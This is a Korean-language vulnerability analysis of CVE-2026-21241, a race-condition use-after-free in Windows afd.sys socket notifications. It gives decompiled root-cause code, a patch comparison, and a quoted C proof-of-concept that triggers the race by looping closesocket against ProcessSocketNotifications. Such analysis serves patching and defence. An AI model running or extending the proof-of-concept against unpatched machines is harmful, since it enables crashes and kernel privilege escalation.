CVE-2026-21241 : Windows AFD.sys의 소켓 알림 처리 중 Race Condition으로 인한 Use-After-Free LPE 취약점

URL

Target

  • Windows 10 / Windows 11 (2026년 2월 패치 미적용)
  • AFD.sys (Ancillary Function Driver for WinSock) — Feature_447951161 미적용 빌드

Explain

CVE-2026-21241은 afd.sys의 소켓 상태 알림(ProcessSocketNotifications) 처리 과정에서, I/O 미니 완료 패킷이 IOCP에 큐잉된 상태로 해제(free)되는 Race Condition으로 인한 Use-After-Free 취약점입니다.

여기서 I/O 미니 완료 패킷(I/O mini-completion packet) 은 I/O 완료 포트(IOCP)에 연결된 하나의 완료를 표현하는 커널 구조체입니다. 드라이버는 자신만의 패킷을 커널 풀에 직접 할당해 공급할 수 있는데, 이때 핵심 제약은 패킷이 dequeue(IoRemoveIoCompletion) 되기 전에 미리 해제하면 안 된다는 것입니다. 그렇지 않으면 dequeue 시점에 해제된 패킷을 참조하며 UAF가 발생합니다. 그래서 커널은 패킷을 안전하게 큐에서 제거(취소)하는 IoCancelMiniCompletionPacket을 제공합니다.

ProcessSocketNotifications 호출은 afd.sys 내부에서 IOCTL 0x12127(AfdNotifySock)로 변환되고, 이 분기의 AfdNotifyPostEvents가 미니 완료 패킷을 IOCP에 큐잉합니다. 문제는 패킷을 큐잉하는 과정에서 잠시 스핀락을 해제하는 사이, 다른 스레드가 소켓을 닫으면 정리 루틴이 그 패킷을 취소(dequeue) 없이 해제해 버린다는 점입니다. 결국 큐에 남아 있던 해제된 패킷이 dequeue 되면서 UAF가 성립합니다.

Root Cause

근본 원인은 AfdNotifyPostEvents가 미니 완료 패킷을 큐잉하기 위해 스핀락을 잠시 해제하는 사이, 소켓 정리 함수(AfdNotifyDestroyContext)가 그 패킷을 취소(dequeue) 없이 해제하는 데 있습니다. 이 해제가 패킷의 큐잉 여부와 무관하게 무조건 수행된다는 점이 주요 원인입니다.

알림은 AfdNotifyPostEvents에서 처리되는데 이 함수는 알림 컨텍스트 포인터(endpoint+0x178)를 캐싱한 뒤, 미니 완료 패킷을 큐잉하는 IoSetIoCompletionEx3를 호출하기 위해 스핀락을 잠시 해제합니다.

int64_t AfdNotifyPostEvents(void* endpoint, KLOCK_QUEUE_HANDLE* arg2, char arg3)
{

[1] 알림 컨텍스트 포인터를 RBX에 캐싱
    void* rbx = *(endpoint + 0x178);
    int64_t Object = *(rbx + 0x40);          // Cache IoCompletionObject
    ...
    *(rbx + 0x68) = events;

[2] 스핀락 해제 → race window
    if (rbp.b == 0)
        KeReleaseInStackQueuedSpinLock(arg2);
    else
        KeReleaseInStackQueuedSpinLockFromDpcLevel(arg2);
    ObfReferenceObject(Object);

[3] IoSetIoCompletionEx3 호출 동안 Race 발생
    IoSetIoCompletionEx3(*(rbx + 0x50), *(rbx + 0x58), 0, 0,
                         zx.q(events), 0, rbx, 0, AfdPriorityBoost);

[4] 스핀락 재획득 후, 캐싱해 둔 rbx 를 계속 사용
    if (rbp.b == 0)
        KeAcquireInStackQueuedSpinLock(endpoint + 0x38, arg2);
    ...
}

[1] 컨텍스트 포인터를 rbx에 캐싱하고, 그 안의 미니 완료 패킷 객체(*(rbx+0x50))와 IoCompletionObject(*(rbx+0x40))를 사용합니다.

[2][3] 하지만 IoSetIoCompletionEx3 호출 직전에 스핀락을 해제하므로, 이 사이에 다른 스레드가 끼어들 수 있는 race window가 열립니다. [4] 호출 후 스핀락(endpoint+0x38)을 다시 잡고 캐싱한 rbx를 계속 사용합니다.

소켓의 마지막 핸들이 닫히면 IRP_MJ_CLEANUP이 디스패치되고, AfdCleanupCore를 거쳐 AfdNotifyDestroyContext가 호출됩니다.

int64_t AfdNotifyDestroyContext(int64_t arg1, void* arg2)
{

[5] NotifyStatus(*(arg2+0x68))가 0이 아닐 때에만 패킷을 dequeue
    if (*(arg2 + 0x68) != 0
        && IoCancelMiniCompletionPacket(*(arg2 + 0x50)) != 0)
        ObfDereferenceObject(arg1);
    ObfDereferenceObject(*(arg2 + 0x50));

[6] 취소 여부와 무관하게 컨텍스트(endpoint+0x178)를 해제
    return ExFreePoolWithTag(arg2, NdfA);   // endpoint+0x178가 해제됨
}

[5] 안전하게 큐에서 제거하는 IoCancelMiniCompletionPacket 호출은 NotifyStatus(*(arg2+0x68))가 0이 아닐 때에만 수행됩니다.

[6] 하지만 ExFreePoolWithTag로 컨텍스트를 해제하는 것은 무조건 실행됩니다. AfdNotifyPostEvents에서 IoStatusInformation == 0인 탓에 NotifyStatus가 0인 패킷이 큐에 등록될 수 있는데, 이 경우 패킷이 dequeue되지 않은 상태로 해제됩니다.

Poc

아래는 Souhail Hammou가 공개한 PoC로 closesocket를 반복하는 정리 스레드와, 가장 짧은 타임아웃으로 알림을 등록·디큐하는 메인 스레드를 동시에 돌려 레이스를 노립니다.

// IRP_MJ_CLEANUP 를 유발하는 스레드
DWORD WINAPI CleanupThread(LPVOID Param) {
    SOCKET* psock = (SOCKET*)Param;
    while (TRUE)
        closesocket(*psock);
}

DWORD WINAPI CreateAndNotify(LPVOID Param) {
    HANDLE iocp = NULL;
    SOCKET sock = INVALID_SOCKET;
    CreateThread(NULL, 0, CleanupThread, &sock, 0, NULL);
    while (TRUE) {
        iocp = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
        sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

        SOCK_NOTIFY_REGISTRATION registration = {0};
        registration.socket = sock;
        registration.completionKey = (PVOID)0x13371337;
        // bound/connected 소켓 없이도 알림을 받기 위한 필수 플래그
        registration.eventFilter  = SOCK_NOTIFY_REGISTER_EVENT_OUT;
        registration.operation    = SOCK_NOTIFY_OP_REMOVE;
        registration.triggerFlags = SOCK_NOTIFY_TRIGGER_LEVEL | SOCK_NOTIFY_TRIGGER_PERSISTENT;

        OVERLAPPED_ENTRY oEntry = {0};
        UINT32 cntEntry = 0;
        // 가장 짧은 타임아웃(1ms)으로 등록과 동시에 알림을 dequeue
        ProcessSocketNotifications(iocp, 1, &registration, 1, 1, &oEntry, &cntEntry);

        closesocket(sock);
        CloseHandle(iocp);
    }
}

전체 PoC에서 MINIMAL_POC 매크로를 해제하면 GetQueuedCompletionStatus를 무한 호출하는 DequeueThread를 추가로 띄워, 해제된 미니 완료 패킷을 직접 dequeue 하는 추가 레이스로 취약점이 더 안정적으로 트리거 되도록 확률을 높였습니다.

Patch

int64_t AfdNotifyDestroyContext(int64_t arg1, void* arg2)
{
    if (*(arg2 + 0x68) != 0 && IoCancelMiniCompletionPacket(*(arg2 + 0x50)) != 0)
        ObfDereferenceObject(arg1);
    ObfDereferenceObject(*(arg2 + 0x50));

    int32_t state = Feature_447951161__private_featureState;
    int32_t result;
    if ((state.b & 0x10) == 0)
        result = Feature_447951161__private_IsEnabledDeviceUsageNoInline();
    else
        result = state & 1;
    if (result != 0)
        return result;                                  // 플래그 활성 시 free 하지 않고 반환
    return ExFreePoolWithTag(arg2, 'NdfA');             // (구) 해제 경로
}

패치는 해제 시점/주체를 옮기는 방식으로 레이스를 차단합니다. 먼저 기존에 무조건 free 하던 AfdNotifyDestroyContextFeature_447951161 피처 플래그가 활성화되면 free 없이 조기 반환하도록 변경되었습니다.

void AfdNotifyPostEvents(void* endpoint, KLOCK_QUEUE_HANDLE* arg2, char arg3)
{
    /* ... 스핀락 해제 ... */
    AfdNotifyDestroyContext(Object, P);

    int32_t state = Feature_447951161__private_featureState;
    int32_t rax_6;
    if ((state.b & 0x10) == 0)
        rax_6 = Feature_447951161__private_IsEnabledDeviceUsageNoInline();
    else
        rax_6 = state & 1;
    if (rax_6 != 0)
        ExFreePoolWithTag(P, 'NdfA');                   // 해제를 PostEvents 로 이동

    if (rbp.b == 0)
        KeAcquireInStackQueuedSpinLock(endpoint + 0x38, arg2);
    /* ... */
}

해제가 컨텍스트를 캐싱·사용하는 주체인 AfdNotifyPostEvents로 옮겨져, 스핀락을 재획득하기 직전(IoSetIoCompletionEx3 반환 후)에 수행됩니다.

큐에 남아있는 패킷을 다른 스레드가 취소 없이 해제해 버리던 분기를 없애고, 컨텍스트를 사용하는 흐름이 정해진 시점에 해제하도록 만들어 race로 인한 UAF를 차단합니다.

Reference